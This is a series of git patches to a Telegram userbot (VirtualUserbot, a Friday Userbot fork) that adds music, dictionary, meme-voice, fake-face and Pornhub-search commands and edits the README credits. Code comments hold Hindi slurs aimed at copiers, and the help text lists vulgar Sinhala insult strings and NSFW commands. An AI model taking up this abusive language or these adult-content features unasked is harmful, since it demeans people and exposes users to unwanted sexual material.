-181,8 +231,10 @@ async def nope(doit): \n**USAGE ★ **Send u a song \ \n\n📌** CMD ★** `.song (name)`\ \n**USAGE ★ **Send u a song \ + \n\n📌** CMD ★** `.gaana (name)`\ + \n**USAGE ★ **Send u a song with gaana \ \n\n📌** CMD ★** `.sptfy (name)`\ - \n**USAGE ★ **Send u song(best for indian songs)\ + \n**USAGE ★ **Send u song(best for Sri lankan songs)\ \n\n📌** CMD ★** `.deez (name)`\ \n**USAGE ★ **Send u song (note:- u can use .vsong/.uta/.utv (name) too for songs 😁😁" } From 609d91afd4fc25f14aba6e64ae1866fb68db5974 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 09:37:29 +0530 Subject: [PATCH 309/838] Create memevoice.py --- fridaybot/modules/memevoice.py | 72 ++++++++++++++++++++++++++++++++++ 1 file changed, 72 insertions(+) create mode 100644 fridaybot/modules/memevoice.py diff --git a/fridaybot/modules/memevoice.py b/fridaybot/modules/memevoice.py new file mode 100644 index 00000000..32b79b09 --- /dev/null +++ b/fridaybot/modules/memevoice.py @@ -0,0 +1,72 @@ +#Credits to @spechide and his team for @TROLLVOICEBOT +#made by @kraken_the_badass from the snippets of waifu AKA stickerizerbot.... +#kang karega kya madarchod? +#aukaat h bsdk teri...jake baap ka loda chus ke aa.... + + +import re +import random +from fridaybot import bot +from ..utils import admin_cmd + + +IF_EMOJI = re.compile( + + "[" + + "\U0001F1E0-\U0001F1FF" # flags (iOS) + + "\U0001F300-\U0001F5FF" # symbols & pictographs + + "\U0001F600-\U0001F64F" # emoticons + + "\U0001F680-\U0001F6FF" # transport & map symbols + + "\U0001F700-\U0001F77F" # alchemical symbols + + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + + "\U0001FA00-\U0001FA6F" # Chess Symbols + + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + + "\U00002702-\U000027B0" # Dingbats + + "]+") + + +def deEmojify(inputString: str) -> str: + + """Remove emojis and other non-safe characters from string""" + + return re.sub(IF_EMOJI, '', inputString) + + + +@borg.on(admin_cmd(pattern="mev(?: |$)(.*)")) +async def nope(kraken): + hell = kraken.pattern_match.group(1) + if not hell: + if kraken.is_reply: + what = (await kraken.get_reply_message()).message + else: + await kraken.edit("`Sir please give some query to search and download it for you..!`") + return + + troll = await bot.inline_query( + + "TrollVoiceBot", f"{(deEmojify(hell))}") + + await troll[0].click(kraken.chat_id, + + reply_to=kraken.reply_to_msg_id, + + silent=True if kraken.is_reply else False, + + hide_via=True) + + await kraken.delete() From b592c542acec8d4a19bae000fba7f8807e388cc9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 09:54:31 +0530 Subject: [PATCH 310/838] Dictionary fixed --- fridaybot/modules/dictionary.py | 52 ++++++++++----------------------- 1 file changed, 16 insertions(+), 36 deletions(-) diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py index b3c5be8c..cf4a2de5 100644 --- a/fridaybot/modules/dictionary.py +++ b/fridaybot/modules/dictionary.py @@ -1,47 +1,28 @@ """Syntax: .meaning """ +from PyDictionary import PyDictionary +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd + from fridaybot import CMD_HELP -import requests -from telethon import events -from uniborg.util import admin_cmd -@borg.on(admin_cmd("meaning (.*)")) +@friday.on(friday_on_cmd("meaning (.*)")) +@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) async def _(event): + omg = await edit_or_reply(event, "Finding Meaning.....") if event.fwd_from: return input_str = event.pattern_match.group(1) - input_url = "https://bots.shrimadhavuk.me/dictionary/?s={}".format(input_str) - headers = {"USER-AGENT": "UniBorg"} - caption_str = f"Meaning of __{input_str}__\n" - try: - response = requests.get(input_url, headers=headers).json() - pronounciation = response.get("p") - meaning_dict = response.get("lwo") - for current_meaning in meaning_dict: - current_meaning_type = current_meaning.get("type") - current_meaning_definition = current_meaning.get("definition") - caption_str += f"**{current_meaning_type}**: {current_meaning_definition}\n\n" - except Exception as e: - caption_str = str(e) - reply_msg_id = event.message.id - if event.reply_to_msg_id: - reply_msg_id = event.reply_to_msg_id - try: - await borg.send_file( - event.chat_id, - pronounciation, - caption=f"Pronounciation of __{input_str}__", - force_document=False, - reply_to=reply_msg_id, - allow_cache=True, - voice_note=True, - silent=True, - supports_streaming=True - ) - except: - pass - await event.edit(caption_str) + dictionary = PyDictionary() + a = dictionary.meaning(input_str) + b = a.get("Noun") + messi = "" + for x in b: + messi += x + "\n" + await omg.edit( + f" meaning of {input_str} is:-\n{messi}", + parse_mode="HTML", + ) CMD_HELP.update( @@ -50,4 +31,3 @@ async def _(event): \n\n**Syntax : **`.meaning `\ \n**Usage :** Get meaning and pronunciation of a word." } -) From d7642d6d1492a79255c52910ea232d8a5efafc90 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 09:55:58 +0530 Subject: [PATCH 311/838] Added cmdhelp --- fridaybot/modules/ekart.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/fridaybot/modules/ekart.py b/fridaybot/modules/ekart.py index 3e8b1057..7822e5bb 100644 --- a/fridaybot/modules/ekart.py +++ b/fridaybot/modules/ekart.py @@ -46,3 +46,15 @@ async def _(event): ) await event.delete() + +CMD_HELP.update( + { + "ekart_tracker": "**Ekat Tracker**\ +\n\n**Syntax : **`.ekart `\ +\n**Usage :** Shows Details And Latest Updates About Given Tracking-ID." + } +) + + + + From a37dd9f9b3e9f37b8685516cd5a8fef2daf903f5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 09:58:42 +0530 Subject: [PATCH 312/838] Again lost the ) Fixed --- fridaybot/modules/dictionary.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py index cf4a2de5..f5da9f31 100644 --- a/fridaybot/modules/dictionary.py +++ b/fridaybot/modules/dictionary.py @@ -31,3 +31,4 @@ async def _(event): \n\n**Syntax : **`.meaning `\ \n**Usage :** Get meaning and pronunciation of a word." } +) From 78ad52ca8fa9e6b10f6b218d4c05eeb7e53cce97 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 10:10:11 +0530 Subject: [PATCH 313/838] Update dictionary.py --- fridaybot/modules/dictionary.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py index f5da9f31..d5f34b5b 100644 --- a/fridaybot/modules/dictionary.py +++ b/fridaybot/modules/dictionary.py @@ -15,7 +15,11 @@ async def _(event): input_str = event.pattern_match.group(1) dictionary = PyDictionary() a = dictionary.meaning(input_str) - b = a.get("Noun") + try: + + b = a.get("Noun") + except: + await omg.edit("Couldn't Find Meaning Of Given Word") messi = "" for x in b: messi += x + "\n" From 92f3a54beba1c08455ff72ae290538aa30b98b31 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 22:28:10 +0530 Subject: [PATCH 314/838] Update dictionary.py --- fridaybot/modules/dictionary.py | 51 +++++++++++++++++++++------------ 1 file changed, 33 insertions(+), 18 deletions(-) diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py index d5f34b5b..b3c5be8c 100644 --- a/fridaybot/modules/dictionary.py +++ b/fridaybot/modules/dictionary.py @@ -1,32 +1,47 @@ """Syntax: .meaning """ -from PyDictionary import PyDictionary -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +import requests +from telethon import events +from uniborg.util import admin_cmd -@friday.on(friday_on_cmd("meaning (.*)")) -@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) +@borg.on(admin_cmd("meaning (.*)")) async def _(event): - omg = await edit_or_reply(event, "Finding Meaning.....") if event.fwd_from: return input_str = event.pattern_match.group(1) - dictionary = PyDictionary() - a = dictionary.meaning(input_str) + input_url = "https://bots.shrimadhavuk.me/dictionary/?s={}".format(input_str) + headers = {"USER-AGENT": "UniBorg"} + caption_str = f"Meaning of __{input_str}__\n" try: - - b = a.get("Noun") + response = requests.get(input_url, headers=headers).json() + pronounciation = response.get("p") + meaning_dict = response.get("lwo") + for current_meaning in meaning_dict: + current_meaning_type = current_meaning.get("type") + current_meaning_definition = current_meaning.get("definition") + caption_str += f"**{current_meaning_type}**: {current_meaning_definition}\n\n" + except Exception as e: + caption_str = str(e) + reply_msg_id = event.message.id + if event.reply_to_msg_id: + reply_msg_id = event.reply_to_msg_id + try: + await borg.send_file( + event.chat_id, + pronounciation, + caption=f"Pronounciation of __{input_str}__", + force_document=False, + reply_to=reply_msg_id, + allow_cache=True, + voice_note=True, + silent=True, + supports_streaming=True + ) except: - await omg.edit("Couldn't Find Meaning Of Given Word") - messi = "" - for x in b: - messi += x + "\n" - await omg.edit( - f" meaning of {input_str} is:-\n{messi}", - parse_mode="HTML", - ) + pass + await event.edit(caption_str) CMD_HELP.update( From b120e81a662554b986fc3aeddbb997f7b02a119e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 22:28:37 +0530 Subject: [PATCH 315/838] Delete selawena mansa.py --- fridaybot/modules/selawena mansa.py | 11 ----------- 1 file changed, 11 deletions(-) delete mode 100644 fridaybot/modules/selawena mansa.py diff --git a/fridaybot/modules/selawena mansa.py b/fridaybot/modules/selawena mansa.py deleted file mode 100644 index c944ccf5..00000000 --- a/fridaybot/modules/selawena mansa.py +++ /dev/null @@ -1,11 +0,0 @@ -from ..utils import admin_cmd, edit_or_reply, sudo_cmd - - -@bot.on(admin_cmd(pattern="sm$")) -@bot.on(sudo_cmd(pattern="sm$", allow_sudo=True)) -async def gn(event): - await edit_or_reply( - event, - "** එහෙම එවා නෑ එ සෙලවෙන මනස **", - ) - From 5c3a3089a03be9069fa52dddd63f5518ee2ef900 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 1 Jan 2021 22:30:49 +0530 Subject: [PATCH 316/838] Boobs and Butts :-) --- fridaybot/modules/fuck11.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index 1da22c86..99e02943 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -207,4 +207,4 @@ async def runstrings(event): await edit_or_reply(event, txt) -CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) +CMD_HELP.update({"Sinhala_Jokes": "\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) From fb0b801f67b5616c900e6dfec50a053753af50b5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 2 Jan 2021 19:18:00 +0530 Subject: [PATCH 317/838] Update README.md --- README.md | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index f473bc7e..9b22d600 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@

    Virtual-USERBOT 🇱🇰

    -

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    based on Friday Userbot Project.

    +

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    The Userbot Remix.

    Commit @@ -13,7 +13,11 @@

    ``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to Friday Developers.. ``` - +# 😍 Credits +Here is the Telegram VirtualUserbot.. A Remix Of Userbots on github.. +Credits To Thier Owners Special thanks To Friday And Dark Cobra Bot a lot +``` Full credits mentioned at the bottom``` +# # ❤️ Support @@ -111,7 +115,8 @@ If you Dont like this send ```.set var PM_DATA DISABLE``` # - +# Credits +This Is Telegram VirtualUserbot.. A Remix Of Userbots on github Credits To Thier Owners Thx To Friday And Dark Cobra Bot a lot
    -MORE INFO HERE - @@ -174,7 +179,14 @@ published by the Free Software Foundation, either version 3 of the License, or [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/inukaasith/virtualuserbot/graphs/commit-activity) -### Please Note!.. This bot is a Developed Version of [Friday Userbot](https://github.com/StarkGang/FridayUserbot).. All credits goes to [StarkGang](https://github.com/StarkGang) for the [Friday Project](https://github.com/StarkGang/FridayUserbot).. +# Full Credits + +- FridayUserBot +- CatUserbot +- DarkCobra +- Uniborg🤗 +- TeleBot + ### ❤️ Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. ❤️ From c8d577b0dc77d12f1a3582619b1762dfe7d55426 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 2 Jan 2021 19:19:21 +0530 Subject: [PATCH 318/838] Update README.md --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 9b22d600..e3b9ca0a 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@

    Virtual-USERBOT 🇱🇰

    -

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    The Userbot Remix.

    +

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    ...The Userbot Remix...

    Commit @@ -12,10 +12,11 @@

    -``` Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to Friday Developers.. ``` + # 😍 Credits -Here is the Telegram VirtualUserbot.. A Remix Of Userbots on github.. -Credits To Thier Owners Special thanks To Friday And Dark Cobra Bot a lot +### Here is the Telegram VirtualUserbot.. A Remix Of Userbots on github.. +### Credits To Thier Owners Special thanks To Friday And Dark Cobra Bot a lot + ``` Full credits mentioned at the bottom``` # # ❤️ Support From 470b3772894d0f75a732f494ce1ef505b712ca72 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 2 Jan 2021 19:21:06 +0530 Subject: [PATCH 319/838] Update README.md --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index e3b9ca0a..fe958319 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@

    Virtual-USERBOT 🇱🇰

    -

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    ...The Userbot Remix...

    +

    A Powerful, Smart And Simple Userbot with 300+ Plugins
    ... The Userbot Remix ...

    Commit @@ -14,8 +14,9 @@ # 😍 Credits -### Here is the Telegram VirtualUserbot.. A Remix Of Userbots on github.. -### Credits To Thier Owners Special thanks To Friday And Dark Cobra Bot a lot +### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. +### Credits To Thier Owners.. +### Special thanks To Friday And Dark Cobra Bot a lot ``` Full credits mentioned at the bottom``` # From 9d79cd349287c516167ca6d33da5f535c508ff6d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 2 Jan 2021 19:21:42 +0530 Subject: [PATCH 320/838] Update README.md --- README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.md b/README.md index fe958319..b2b0bfeb 100644 --- a/README.md +++ b/README.md @@ -117,8 +117,6 @@ If you Dont like this send ```.set var PM_DATA DISABLE``` # -# Credits -This Is Telegram VirtualUserbot.. A Remix Of Userbots on github Credits To Thier Owners Thx To Friday And Dark Cobra Bot a lot

    -MORE INFO HERE - From 5a5d3c057338f0d98484a4900e2d2e4b6e23195d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 2 Jan 2021 19:22:44 +0530 Subject: [PATCH 321/838] Update README.md --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index b2b0bfeb..1342e1b2 100644 --- a/README.md +++ b/README.md @@ -14,9 +14,8 @@ # 😍 Credits -### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. -### Credits To Thier Owners.. -### Special thanks To Friday And Dark Cobra Bot a lot +### Here is the Telegram VirtualUserbot. A Remix Of Userbots on github.. Credits To Thier Owners.. +#### Special thanks To Friday And Dark Cobra Bot a lot ``` Full credits mentioned at the bottom``` # From 7ff5761031351c04f6e0e3b288ed421d6a3d23a7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sat, 2 Jan 2021 19:34:16 +0530 Subject: [PATCH 322/838] Update app.json --- app.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app.json b/app.json index f52924fe..9914b13c 100644 --- a/app.json +++ b/app.json @@ -1,6 +1,6 @@ { - "name": "Friday-Userbot", - "description": "A Developed version of @StarkXD's Friday Userbot By @InukaASiTH", + "name": "Virtual-Userbot", + "description": "A Remix of Userbots on Github By @InukaASiTH", "logo": "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg", "keywords": [ "telegram", From 2d2d77ae72e4f56be1ed880c2aece1c27e313d14 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 3 Jan 2021 20:30:56 +0530 Subject: [PATCH 323/838] Essential Need Pornhub --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 25801cdc..2c5f1aeb 100644 --- a/requirements.txt +++ b/requirements.txt @@ -83,6 +83,7 @@ googletrans==3.1.0a0 spamwatch nekos.py deep_translator +pornhub-api countryinfo emoji-country-flag langdetect From 068cf1aaace49839507d3b554594f19c7c886362 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 3 Jan 2021 20:37:20 +0530 Subject: [PATCH 324/838] Pornhub Search!! --- fridaybot/modules/nsfw.py | 43 +++++++++++++++++++++++++++++++++++++-- 1 file changed, 41 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/nsfw.py b/fridaybot/modules/nsfw.py index 31cc998a..98cd2b90 100644 --- a/fridaybot/modules/nsfw.py +++ b/fridaybot/modules/nsfw.py @@ -16,7 +16,10 @@ from telethon.tl.types import MessageMediaPhoto from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from fridaybot.utils import friday_on_cmd, sudo_cmd, admin_cmd +from pornhub_api import PornhubApi +from uniborg.util import friday_on_cmd + @friday.on(friday_on_cmd(pattern=r"nsfw")) @@ -49,10 +52,46 @@ async def nsfw(event): os.remove(photo) +@friday.on(admin_cmd(pattern="phs (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + api = PornhubApi() + data = api.search.search( + input_str, + ordering="mostviewed" + ) + ok = 1 + oik = "" + for vid in data.videos: + if ok<=5: + oik +=(f""" +Video title:- {vid.title} +Video link:- https://www.pornhub.com/view_video.php?viewkey={vid.video_id} + """) + ok = ok+1 + else: + pass + + oiko = "Links Generated Successfully"+"\n"+"Search Query:- "+input_str+"\n"+oik + + await borg.send_message( + event.chat_id, + oiko, + parse_mode="HTML", + ) + await event.delete() + + + + CMD_HELP.update( { "nsfw": "**NSFW**\ \n\n**Syntax : **`.nsfw `\ -\n**Usage :** Checks if the replyed image is nsfw or not." +\n**Usage :** Checks if the replyed image is nsfw or not.\ +\n\n**Syntax : **`.phs `\ +\n**Usage :** Searches PornHub Website With Given Query." } ) From 7581fd5308f2318e42adb899a392df5216f48cb1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 3 Jan 2021 20:47:26 +0530 Subject: [PATCH 325/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index f2c0c245..42ccf26a 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -152,6 +152,7 @@ class Config(object): SUPERHERO_API_KEY = os.environ.get("SUPERHERO_API_KEY", None) FOOTBALL_API_KEY = os.environ.get("FOOTBALL_API_KEY", None) VIRUSTOTAL_API_KEY = os.environ.get("VIRUSTOTAL_API_KEY", None) + GPLINKS_API_KEY = os.environ.get("GPLINKS_API_KEY", None) OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None) UPSTREAM_REPO = os.environ.get( "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" From 20eca9317dec015cf957806b39c57309f89e64c4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 3 Jan 2021 20:51:27 +0530 Subject: [PATCH 326/838] Create fakeimagegen.py --- fridaybot/modules/fakeimagegen.py | 45 +++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 fridaybot/modules/fakeimagegen.py diff --git a/fridaybot/modules/fakeimagegen.py b/fridaybot/modules/fakeimagegen.py new file mode 100644 index 00000000..834a0a91 --- /dev/null +++ b/fridaybot/modules/fakeimagegen.py @@ -0,0 +1,45 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +import requests +from fridaybot import CMD_HELP +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +import os +#hmm +@friday.on(friday_on_cmd(pattern="picgen")) +@friday.on(sudo_cmd(pattern="picgen", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + + url = "https://thispersondoesnotexist.com/image" + response = requests.get(url) + if response.status_code == 200: + with open("FRIDAYOT.jpg", 'wb') as f: + f.write(response.content) + + captin = f"Fake Image By Friday.\nGet Your Own Friday From @FRIDAYCHAT." + fole = "FRIDAYOT.jpg" + await borg.send_file(event.chat_id, fole, caption=captin) + await event.delete() + os.system("rm /root/fridaybot/FRIDAYOT.jpg ") + + +CMD_HELP.update( + { + "picgen": "**Fake Picture Gen**\ +\n\n**Syntax : **`.picgen`\ +\n**Usage :** Genetates Fake Image.\ +\n\n**Note : **The Person In Picture Really Doesn't Exist." + } From 84f4645a7b3c63a03341ca81241d3292651b1d9b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 4 Jan 2021 13:31:50 +0530 Subject: [PATCH 327/838] Again lost event) --- fridaybot/modules/fakeimagegen.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/modules/fakeimagegen.py b/fridaybot/modules/fakeimagegen.py index 834a0a91..abf9e29b 100644 --- a/fridaybot/modules/fakeimagegen.py +++ b/fridaybot/modules/fakeimagegen.py @@ -43,3 +43,4 @@ async def _(event): \n**Usage :** Genetates Fake Image.\ \n\n**Note : **The Person In Picture Really Doesn't Exist." } +) From d40de12c35c5acdbb6613a304b9315b723731cdb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 4 Jan 2021 20:45:49 +0530 Subject: [PATCH 328/838] Delete gps.py --- fridaybot/modules/gps.py | 52 ---------------------------------------- 1 file changed, 52 deletions(-) delete mode 100644 fridaybot/modules/gps.py diff --git a/fridaybot/modules/gps.py b/fridaybot/modules/gps.py deleted file mode 100644 index 565c72a8..00000000 --- a/fridaybot/modules/gps.py +++ /dev/null @@ -1,52 +0,0 @@ -""" -Syntax : .gps -credits :@mrconfused -""" - -# help from @sunda005 and @SpEcHIDe -# don't edit credits - -from geopy.geocoders import Nominatim -from telethon.tl import types - -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - - -@friday.on(friday_on_cmd(pattern="gps ?(.*)")) -@friday.on(sudo_cmd(pattern="gps ?(.*)", allow_sudo=True)) -async def gps(event): - starkislub = await edit_or_reply(event, "Processing") - if event.fwd_from: - return - reply_to_id = event.message - if event.reply_to_msg_id: - reply_to_id = await event.get_reply_message() - input_str = event.pattern_match.group(1) - - if not input_str: - return await starkislub.edit("what should i find give me location.") - - await starkislub.edit("finding") - - geolocator = Nominatim(user_agent="catfridaybot") - geoloc = geolocator.geocode(input_str) - - if geoloc: - lon = geoloc.longitude - lat = geoloc.latitude - await reply_to_id.reply( - input_str, file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon)) - ) - await event.delete() - else: - await starkislub.edit("i coudn't find it") - - -CMD_HELP.update( - { - "gps": "**Gps**\ -\n\n**Syntax : **`.gps `\ -\n**Usage :** this plugin gives gps to the location." - } -) From aac796ce55b7f21be6522e7608d0210e1317832e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Mon, 4 Jan 2021 20:46:26 +0530 Subject: [PATCH 329/838] Delete happynewyear.py --- fridaybot/modules/happynewyear.py | 155 ------------------------------ 1 file changed, 155 deletions(-) delete mode 100644 fridaybot/modules/happynewyear.py diff --git a/fridaybot/modules/happynewyear.py b/fridaybot/modules/happynewyear.py deleted file mode 100644 index 00bb3426..00000000 --- a/fridaybot/modules/happynewyear.py +++ /dev/null @@ -1,155 +0,0 @@ -#made by shivam patel -from telethon import events - -import asyncio - -from ..utils import admin_cmd -from fridaybot import bot as javes -from telethon import events - -from fridaybot import CMD_HELP -@javes.on(admin_cmd("newyear")) -async def _(event): - if event.fwd_from: - return - animation_interval = 1 - animation_ttl = range(0,80) - await event.edit("😊 HAPPY NEW YEAR 😁") - animation_chars = ["💖HAPPY NEW YEAR💖","💙HAPPY NEW YEAR💙","❤️HAPPY NEW YEAR❤️","💚HAPPY NEW YEAR💚","💜HAPPY NEW YEAR💜",] - - for i in animation_ttl: - - await asyncio.sleep(animation_interval) - await event.edit(animation_chars[i % 5]) -@javes.on(admin_cmd("happynewyear")) -async def _(event): - if event.fwd_from: - return - animation_interval = 1 - animation_ttl = range(0,22) - await event.edit("😊 HAPPY NEW YEAR TO ALL 😁") - animation_chars = ["""💜💜 💜💜 -💜💜 💜💜 -💜💜 💜💜 -💜💜 💜💜 -💜💜💜💜💜💜💜💜💜 -💜💜💜💜💜💜💜💜💜 -💜💜 💜💜 -💜💜 💜💜 -💜💜 💜💜 -💜💜 💜💜""","""ㅤㅤㅤㅤㅤ ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ - 💙💙 - 💙💙💙 - 💙💙💙💙 - 💙💙 💙💙 - 💙💙 💙💙 - 💙💙 💙💙 - 💙💙💙💙💙💙 - 💙💙💙💙💙💙 - 💙💙 💙💙 - 💙💙 💙💙 -💙💙 💙💙""","""💚💚💚💚💚💚💚 -💚💚💚💚💚💚💚💚 -💚💚 💚💚 -💚💚 💚💚 -💚💚💚💚💚💚💚💚 -💚💚💚💚💚💚💚 -💚💚 -💚💚 -💚💚 -💚💚""","""💛💛💛💛💛💛 -💛💛💛💛💛💛💛 -💛💛 💛💛 -💛💛 💛💛 -💛💛💛💛💛💛💛 -💛💛💛💛💛💛 -💛💛 -💛💛 -💛💛 -💛💛""","""💜💜 💜💜 - 💜💜 💜💜 - 💜💜 💜💜 - 💜💜 💜💜 - 💜💜💜 - 💜💜 - 💜💜 - 💜💜 - 💜💜 - 💜💜""", -"""😺😺 😺😺 -😺😺😺 😺😺 -😺😺😺😺 😺😺 -😺😺 😺😺 😺😺 -😺😺 😺😺 😺😺 -😺😺 😺😺 😺😺 -😺😺 😺😺 😺😺 -😺😺 😺😺😺😺 -😺😺 😺😺😺 -😺😺 😺😺 -""","""😁😁😁😁😁😁😁😁 -😁😁😁😁😁😁😁😁 -😁😁 -😁😁 -😁😁😁😁😁😁 -😁😁😁😁😁😁 